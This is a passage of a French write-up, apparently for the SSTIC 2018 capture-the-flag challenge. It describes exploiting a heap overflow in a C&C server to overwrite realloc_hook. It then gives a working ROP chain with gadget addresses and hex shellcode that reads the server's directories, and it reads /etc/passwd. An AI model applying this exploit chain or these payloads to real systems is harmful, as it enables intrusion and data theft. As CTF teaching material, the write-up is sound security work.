Appel système erroné vient de seccomp, activé lorsque le binaire est C&C, mais reallo() invalid next size laisse comprendre que nous avons corrompu quelque part le heap. Puisque c’est lors de l’ajout d’un subnode, nous supposons qu’un subnode écrase plus loin que son chunk. En effet, une analyse du code assemblé montre un problème lors du calcul de la taille utilisée par les subnodes dans le chunk de mémoire. La comparaison de taille est faite pour strictement supérieur (et non pas >= ). Le dernier ajout de subnode est égal à la taille max, mais est écrit quand même en mémoire. L’ajout du suivant écrase donc un peu plus loin dans la mémoire, avant le realloc, ce qui corromp les blocs chainés dans le heap. Un erreur est levée, et seccomp termine le travail en tuant le serveur.

Nous savons désormais que le binaire a une faille. Le binaire dispose d’une caractéristique intéressante, il n’est pas PIE:

mitsurugi@dojo:~/chall/sstic/lvl4$ checksec server.elf
[*] '/home/mitsurugi/chall/sstic/lvl4/server.elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
mitsurugi@dojo:~/chall/sstic/lvl4$

Plusieurs zones mémoires sont donc fixes et connues. Les hook de malloc/realloc/free sont de bons candidats à l’exploitation: ils sont réinscriptibles, nous pouvons mettre n’importe quoi dedans, il suffit d’un Write-What-Where, ou arbitrary write. Un heap overflow rend cela possible.

Pour une bonne compréhension de la suite du document je rappelle quelques notions de gestion mémoire liée au heap.

  • un malloc va renvoyer une zone mémoire de la taille demandée. Cette zone est constitué de metadata, et de la zone elle-même. Cette zone s’appelle un chunk.

  • Les metadata contiennent la taille de la zone, plus la taille des metadata, si 0x30 est demandé, les metadata contiennent une taille de 0x40

  • Pour d’obscures raisons liées à la gestion des chunks, le bit de poids faibls vaut 1. Si 0x30 est demandé, le metadata contient donc 0x41.

  • Lors de la libération des chunks, le quadword situé derrière le metadata contient l’adresse du prochain chunk de libre

4.3 - Obtention d’un arbitrary write

La recherche de l’arbitrary write n’est pas une tâche facile. Nous savons que le heap overflow survient lors d’un realloc, il faut donc ajouter des noeuds. L’ajout de noeud lance tout un calcul RSA qui fait des malloc/free. Nous n’avons aucune prise sur la taille des malloc/realloc. Enfin, un free (suppression d’un node) va supprimer à la fois le node, et tous ses subnodes. Je me suis appuyé sur des dumps du heap et d’un outil de diff du heap pour analyser les séquences d’alloc/realloc/free:

gdb> dump memory heap_avant 0x6da000 0x6fefff
gdb> c
 (...ajout de node/subnode/ etc.....)
gdb> dump memory heap_apres 0x6da000 0x6fefff
gdb> quit
mitsurugi@dojo:~/chall/sstic/lvl4$ ./diff_heap.py heap_avant heap_apres
0x6da000: 0000000000000000 0000000000000000 | 0000000000000000 0000000000000000
0x6da010: 0000000000000000 0000000000000000 | 0000000000000000 0000000000000000
0x6da020: 0000000000000000 0000000000000000 | 0000000000000000 0000000000000000
0x6da030: 0000000000000000 0000000000000000 | 0000000000000000 0000000000000000
0x6da040: 0000000000000000 0000000000000000 | 0000000000000000 0000000000000000
 (...snip...)
0x6e2af0: 0000000000000000 cefec0514eab4a94 | 0000000000000000 cefec0514eab4a94
0x6e2b00: 6f7d7e7e4bf74f1e 0000000000000041 | 6f7d7e7e4bf74f1e 0000000000000061    DIFF HERE
0x6e2b10: 00000000006d78c8 0000000000000000 | 00000000006d78c8 0000000000000000
0x6e2b20: 0200000000000000 0000000000000011 | 0200000000000000 0000000000000011
0x6e2b30: 0000000000000000 0000000000000241 | 0000000000000000 0000000000000241
0x6e2b40: 7070707070707070 0000000000000000 | 7070707070707070 0000000000000000
0x6e2b50: 0000000000000000 4e065aecca9b6f04 | 0000000000000000 4e065aecca9b6f04
0x6e2b60: 830e0598569f5779 faa7d841abfbeff7 | 830e0598569f5779 faa7d841abfbeff7
0x6e2b70: 79d90b5c844ba375 515c37b6f273a3be | 79d90b5c844ba375 515c37b6f273a3be
0x6e2b80: fd92a8297eec7b34 a32f9408b33856e8 | fd92a8297eec7b34 a32f9408b33856e8
0x6e2b90: 837ed31d2fb04c82 3b83a33e2185100c | 837ed31d2fb04c82 3b83a33e2185100c
0x6e2ba0: 0a0efd9beb503dc7 0000000000000000 | 0a0efd9beb503dc7 0000000000000000
 (...snip...)

Pour la suite de l’explication, j’utiliserai la taille des metadata dans les chunks. Nous avons donc:

  • 0x241 : alloué à la création d’un noeud. Au début de ce bloc, nous avons le nodeid (maitrisé par l’attaquant), puis pas mal de trous, et au milieu la clé AES (maitrisée par l’attaquant)

  • 0x41 : alloué à la création du noeud, et va contenir la liste des subnodes (leur id)

  • 0x61 : lorsque la liste des subnodes grandit, le bloc 0x41 est free() et agrandi: ce chunk en est le résultat

Et le bloc 0x61 peut déborder d’un subnode (8 bytes) de son chunk.

Pour obtenir un arbitrary write, l’idéal est de maitriser l’allocation d’un bloc 0x41. Le malloc devra renvoyer une adresse maitrisée par l’attaquant permettant ainsi à l’ajout du subnode (id de 8 octets maitrisé par l’attaquant) d'écrire ce que l’on veut.

L’attaque se fait en plusieurs endroits. Tout d’abord, un bloc de subnodes se fait corrompre ses metadata par le bloc de subnode précédents. Sa taille fake sera celle d’un node (0x241), ce qui permettra lors de la prochaine allocation d'écrire les données de ce node en débordant de ce chunk. Il est essentiel que la clé AES de ce node tombe à un endroit judicieux. Pour cela, il est créé plusieurs listes de subnodes, et nous avons la seconde attaque: un chunk se verra allouée une taille fake de 0x61. Cette taille se fera écraser lors de l’allocation du node précédent. La clé AES aura un double rôle: remplacer la taille fake par 0x41, et remplir l’adresse next-chunk par une adresse choisie.

Un outil d'écriture de scénario d’attaque fût nécessaire pour mener à bien l’attaque. Cet outil lance des nodes et subnodes à la demande. Un point d’attention a été nécessaire concernant les timers. Par défaut, une seconde est temporisée entre chaque action, ce qui n’est pas toujours suffisant, donc des temps d’attente ont été ajoutés dans certains points cruciaux afin de fiabiliser l’exploit.

mitsurugi@dojo:~/chall/sstic/lvl4$ ./scenario.py
[+] Creating silently Node1 -> Node7
Add 12 subnode1
        subnodeid=11110001
        subnodeid=11110002
        subnodeid=11110003
        subnodeid=11110004
        subnodeid=11110005
        subnodeid=11110006
        subnodeid=11110007
        subnodeid=11110008
        subnodeid=11110009
        subnodeid=11110010
        subnodeid=11110011
        subnodeid=11110012
Add subnode2
        subnodeid=22220001
        subnodeid=22220002
        subnodeid=22220003
        subnodeid=22220004
        subnodeid=22220005
        subnodeid=22220006
        subnodeid=22220007
Sleeping 1s for timers
        subnodeid=22220008
        subnodeid=22220009
        subnodeid=22220010
        subnodeid=22220011
Adding 13th subnode1
        subnodeid=11110013
[+] overflow the 0x91 of subnode1 list with 0x241 with 12 subnode2
        subnodeid=0000000000000241
[+] Adding 8 subnodes for nodes 3 -> 6
Adding subnodes for node3
        subnodeid=33330001
        subnodeid=33330002
        subnodeid=33330003
        subnodeid=33330004
        subnodeid=33330005
        subnodeid=33330006
        subnodeid=33330007
        subnodeid=33330008
Adding subnodes for node4
        subnodeid=44440001
        subnodeid=44440002
        subnodeid=44440003
        subnodeid=44440004
        subnodeid=44440005
        subnodeid=44440006
        subnodeid=44440007
        subnodeid=44440008
Adding subnodes for node5
        subnodeid=55550001
        subnodeid=55550002
        subnodeid=55550003
        subnodeid=55550004
        subnodeid=55550005
        subnodeid=55550006
        subnodeid=55550007
        subnodeid=55550008
Adding subnodes for node6
        subnodeid=66660001
        subnodeid=66660002
        subnodeid=66660003
        subnodeid=66660004
        subnodeid=66660005
        subnodeid=66660006
        subnodeid=66660007
        subnodeid=66660008
Faking another chunk with subnodelist7
        subnodeid=3737373700000001
        subnodeid=3737373700000002
        subnodeid=3737373700000003
        subnodeid=3737373700000004
        subnodeid=3737373700000005
        subnodeid=3737373700000006
        subnodeid=0000000000000030
        subnodeid=0000000000000061
Adding four more subnode6, and overlapping with 0x41
        subnodeid=66660009
        subnodeid=66660010
Sleeping for 4s
        subnodeid=66660011
        subnodeid=0000000000000041
[+] Freeing node7 and node1
    Attack is now ready to launch!!
sleeping 6s
Creating node Z and Y, they will take place of node7 and node1
Inspect the booze, now. Overwriting is real!!
Next node will overwrite an old 0x41 free chunk
Adding more nodes: i,j,k,l,m,n,o,p
Adding subnode until overwrite
Check mem @ overwrite // the adress is in AESkey of Nounours.py file
        subnodeid=ZZZZ0001
        subnodeid=YYYY0001
        subnodeid=iiii0001
        subnodeid=jjjj0001
        subnodeid=kkkk0001
        subnodeid=llll0001
        subnodeid=mmmm0001
        subnodeid=nnnn0001
        subnodeid=00000000004a7bc0
        subnodeid=pppp0001
[+] Triggering the realloc with a new node!
        subnodeid=SC000001
        subnodeid=SC000002
        subnodeid=SC000003
        subnodeid=SC000004
        subnodeid=SC000006
        subnodeid=SC000007
        subnodeid=SC000008
[+] All good now, check output
mitsurugi@dojo:~/chall/sstic/lvl4$

Quelques explications. Le premier overflox de 0x241 permet de préparer un fake chunk pour un nouveau node. Les nodes 3 à 7 sont présents pour obtenir une suite de chunk de liste de subnodes sur laquelle le node prenant la place du fake chunk ira se loger. La clé AES de ce node écrasera les metadata et le next-chunk du node 7, qui s’est fait également corrompre par le node 6. Enfin, le node o se voit allouer un bloc de 0x41 dont l’adresse next-chunk est celle de la clé AES. Cette adresse est celle de realloc_hook. L’attaque est terminée, le prochain realloc va appeler le code à l’adresse 0x04a7bc0.

4.4 - Ecriture d’une ROPchain pour copier un shellcode sur le C&C

Maintenant que le write-what-where est acquis, reste à prendre la main pour exécuter du code. Le realloc_hook sera activé lors de l’ajout du subnode. Une idée simple consiste à charger de données le paquet réseau ajoutant ce subnode. Lors de l’ajout d’un subnode, les données sont copiées en clair sur la stack. Il suffit de trouver un gadget qui POP suffisemment de données pour atterrir dans nos données, par exemple:

gdb$ x/20i 0x004a7bc0
   0x4a7bc0 <_Unwind_IteratePhdrCallback+336>:  xor    eax,eax
   0x4a7bc2 <_Unwind_IteratePhdrCallback+338>:  add    rsp,0x58
   0x4a7bc6 <_Unwind_IteratePhdrCallback+342>:  pop    rbx
   0x4a7bc7 <_Unwind_IteratePhdrCallback+343>:  pop    rbp
   0x4a7bc8 <_Unwind_IteratePhdrCallback+344>:  pop    r12
   0x4a7bca <_Unwind_IteratePhdrCallback+346>:  pop    r13
   0x4a7bcc <_Unwind_IteratePhdrCallback+348>:  pop    r14
   0x4a7bce <_Unwind_IteratePhdrCallback+350>:  pop    r15
   0x4a7bd0 <_Unwind_IteratePhdrCallback+352>:  ret

La stack remonte, puis plusieurs données sont pop, et le ret permet d’arriver dans nos données. Un point intéressant à noter concerne le fait qu’il est inutile de connaitre l’adresse de la stack ou de faire leaker une adresse: la ROPchain va s'éxecuter indépendemment de son adresse, et les gadgets sont tous connus.

Seccomp pose un problème. Il est impossible de lancer un shell. Beaucoup de commandes sont bloquées. Le code de seccomp a été désassemblé à l’aide de seccomp-tools. Le code a été dumpé depuis gdb.

@dojo:~/chall/sstic/lvl4$ seccomp-tools disasm seccompfilter
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000031  if (A != bind) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x00000032  if (A != listen) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x00000120  if (A != accept4) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x00000036  if (A != setsockopt) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x15 0x00 0x01 0x0000002c  if (A != sendto) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x15 0x00 0x01 0x0000002d  if (A != recvfrom) goto 0026
 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0026: 0x15 0x00 0x01 0x00000014  if (A != writev) goto 0028
 0027: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0028: 0x15 0x00 0x01 0x00000017  if (A != select) goto 0030
 0029: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0030: 0x15 0x00 0x01 0x00000019  if (A != mremap) goto 0032
 0031: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0032: 0x15 0x00 0x01 0x00000048  if (A != fcntl) goto 0034
 0033: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0034: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0036
 0035: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0036: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0038
 0037: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0038: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0040
 0039: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0040: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0042
 0041: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0042: 0x15 0x00 0x01 0x0000004e  if (A != getdents) goto 0044
 0043: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0044: 0x15 0x00 0x01 0x000000d9  if (A != getdents64) goto 0046
 0045: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0046: 0x15 0x00 0x01 0x00000020  if (A != dup) goto 0048
 0047: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0048: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0050
 0049: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0050: 0x15 0x00 0x01 0x00000005  if (A != fstat) goto 0052
 0051: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0052: 0x06 0x00 0x00 0x00030000  return TRAP
 0053: 0xeab9 0x41 0x00 0x00000000  X = sys_number
mitsurugi@dojo:~/chall/sstic/lvl4$

mmap, open, write, getdents sont présents. Il est donc possible d'écrire un shellcode qui va lire les fichiers et les dossiers du serveur. La ROPchain permettant d'écrire ce shellcode:

def sc():
    sc  = struct.pack('<Q',0xabcdef12)
    #sc += struct.pack('<Q',0x00000000004a7bd0)                   #only a RET

    ##### STAGE1 mmap-ing a zone in rwx
    #mmap ( @, size, PROT=7 (rwx), flags=22, -1, 0)   RDI, RSI, RDX, RCX, R8, R9
    sc += struct.pack('<Q',0x4a7bcf)                             #0x004a7bcf: pop rdi ; ret  ;
    sc += struct.pack('<Q',0x8000000)  #Nobody should be there, I'll take it
    sc += struct.pack('<Q',0x004ac0eb)                           #0x004ac0eb: pop rsi ; ret  ;
    sc += struct.pack('<Q',0x50000)       #should be enough
    sc += struct.pack('<Q',0x004cc086)                           #0x004cc086: pop rdx ; ret  ;
    sc += struct.pack('<Q',0x7)
    sc += struct.pack('<Q',0x00408f59)                           #0x00408f59: pop rcx ; ret  ;
    sc += struct.pack('<Q',0x22)
    sc += struct.pack('<Q',0x00480231)                           #0x00480231: pop rax ; ret  ;
    sc += struct.pack('<Q',0xffffffffffffffff)
    sc += struct.pack('<Q',0x0042962e)                           #0x0042962e: mov r8, rax ; pop rbx ; mov rax, r8 ; pop rbp ; pop r12 ; pop r13 ; ret  ;
    sc += struct.pack('<Q',0xaa) #pop rbx
    sc += struct.pack('<Q',0xaa) #pop rbp
    sc += struct.pack('<Q',0xaa) #pop r12
    sc += struct.pack('<Q',0xaa) #pop r13
    sc += struct.pack('<Q',0x00480231)                           #0x00480231: pop rax ; ret  ;
    sc += struct.pack('<Q',0x0)
    sc += struct.pack('<Q',0x0046dc12)                           #0x0046dc12: mov r9, rax ; pop rbx ; mov rax, r9 ; pop rbp ; pop r12 ; pop r13 ; ret  ;
    sc += struct.pack('<Q',0xaa) #pop rbx
    sc += struct.pack('<Q',0xaa) #pop rbp
    sc += struct.pack('<Q',0xaa) #pop r12
    sc += struct.pack('<Q',0xaa) #pop r13
    #mmap should be set up
    sc += struct.pack('<Q',0x455ce0)                             #0x455ce0 => mmap
    sc += struct.pack('<Q',0x00000000004a7bd0)                   #only a RET, usefull for debug

    ##### STAGE2 copy shellcode
    sc += createsc(0x8000000)                    #createsc() just copy shellcode at the offset

    ##### STAGE3 jump in shellcode
    sc += struct.pack('<Q',0x00480231)                           #0x00480231: pop rax ; ret  ;  (1 found)
    sc += struct.pack('<Q',0x8000000)
    sc += struct.pack('<Q',0x004b1697)                           #0x004b1697: jmp rax ;  (1 found)
    print "Shellcode size is %d ***** Good luck, have fun" % len(sc)
    return sc

4.5 - Conclusion: Parcours des fichiers et dossiers sur le serveur

L’analyste dispose maintenant d’une chaine d’attaque complète, avec exécution de code sur le serveur. J’ai choisi une approche pragmatique. Plutôt que décrire un shellcode complet, permettant de lire des commandes, parcourir les fichiers etc.. j’ai pris le parti de lancer un shellcode pour chaque commande. Le flag étant finalement très simple à trouver, cela a permis de gagner du temps en écriture de shellcode. Pour lire les données, j’ai choisi de les renvoyer de façon brute dans le file descriptor numéro 8. Au vu du nombre de nodes créés, la probabilité est grande pour que ce soit une de mes connexions. Il suffit d’un tcpdump pendant l’attaque pour lire le résultat via la commande strings: la majorité du trafic est chiffré, il ne restera que le non-chiffré, soit le contenu du fichier, ou la liste des dossiers.

Exemple de shellcode:

#Readdir /homme/sstic/secret
SHELLCODE='48C7C70800000048BE002800080000000049BD0000FFFF000000004C892E48C7C20400000048C7C10000000049C7C5B071450041FFD549C7C50028000849BE73656372657400004D89750048C7C70028000849C7C510FC470041FFD54889C39090909090909090904889DF49C7C580FC470041FFD54883F8000F849F00000048C7C7080000004883C0134889C648C7C2FF00000048C7C10000000049C7C5B071450041FFD5EBC14889C748C7C60000040848C7C200FF000049C7C5D04E450041FFD548C7C70800000048BE002800080000000049BD00FF0000000000004C892E48C7C20400000048C7C10000000049C7C5B071450041FFD548C7C70800000048C7C60000040848C7C200FF000048C7C10000000049C7C5B071450041FFD5'

Les shellcodes ont été directement écrit en assembleur, et assemblé sur le site https://defuse.ca/online-x86-assembler.htm . La fin du challenge est proche, il suffit d'écrire un shellcode, lire le résultat dans le flux tcpdump burt et de lancer une nouvelle fois l’attaque avec un nouveau shellcode (les shellcodes utilisés ayant le bon goût de faire crasher le serveur, nous partons d’un état connu systématiquement). Le fichier /etc/passwd est lu et permet de trouver un utilisateur appelé sstic. Cet utilisateur n’a pas de ~/.bash_history. La liste des dossiers de son home en montre un nommé secret. Un fichier dans ce dossier s’appelle sstic2018.flag.

Ce fichier contient une chaine de caractères (extrait de la capture au format pcap):

mitsurugi@dojo:~/chall/sstic/lvl4$ strings -12 winning_result_out | grep @
65r1o0q1380ornqq763p96r74n0r51o816onpp68100s5p4s74955rqqr0p5507o@punyyratr.ffgvp.bet
mitsurugi@dojo:~/chall/sstic/lvl4$ echo '65r1o0q1380ornqq763p96r74n0r51o816onpp68100s5p4s74955rqqr0p5507o@punyyratr.ffgvp.bet' | rot13
65e1b0d1380beadd763c96e74a0e51b816bacc68100f5c4f74955edde0c5507b@challenge.sstic.org
mitsurugi@dojo:~/chall/sstic/lvl4$

Conclusion - "Soul Edge is mine!" (Soulcalibur)

Je remercie les concepteurs du challenge d’avoir créé des épreuves réalistes, partant de forensics et allant jusqu’au hackback. Le déroulement des étapes est vraiment clair, on ne doute pas sans savoir quoi faire ni ou aller. Concernant l'étape 3, je reste persuadé qu’une attaque sur RSA est présente vu comment est faite la génération des nombres aléatoires, d’où le titre du paragraphe ("il y a plusieurs chemins pour aller au sommet d’une montagne…"), je lirai avec intérêt les autres solutions pour savoir si l’un deux a pris cette voie. Le niveau 1 était simple, comme tous les challenges du SSTIC, le 2 difficile, le 3 facile également (AES 4 rounds lol ), et le 4 fût hardcore: heap overflow millimétré + bypass seccomp. Je n’ai pas encore pris le temps d'étudier en détail concernant l’attaque contenue dans le fichier stage1.js: ce fichier a 0 détections dans virustotal, un examen approprié de son contenu sera intéressant pour extraire l’exploit utilisé (je ne pense pas qu’il s’agisse d’un 0day, ce doit être une faille weaponisée, ou repackagée).

J’ai également pris le parti de ne pas montrer trop d’assembleur ou de copies d'écran d’IDA pour ne pas assommer le lecteur. Les codes sources ne seront pas fournis, l’auteur les trouvant vraiment trop sales pour être publiés en l'état. Ils contiennent encore toutes les tentatives d’attaques que l’auteur a testé, les transformant en monstre protéiforme illisible.

Je serais présent au SSTIC 2018, et trinquerai volontiers avec les concepteurs du challenge :-)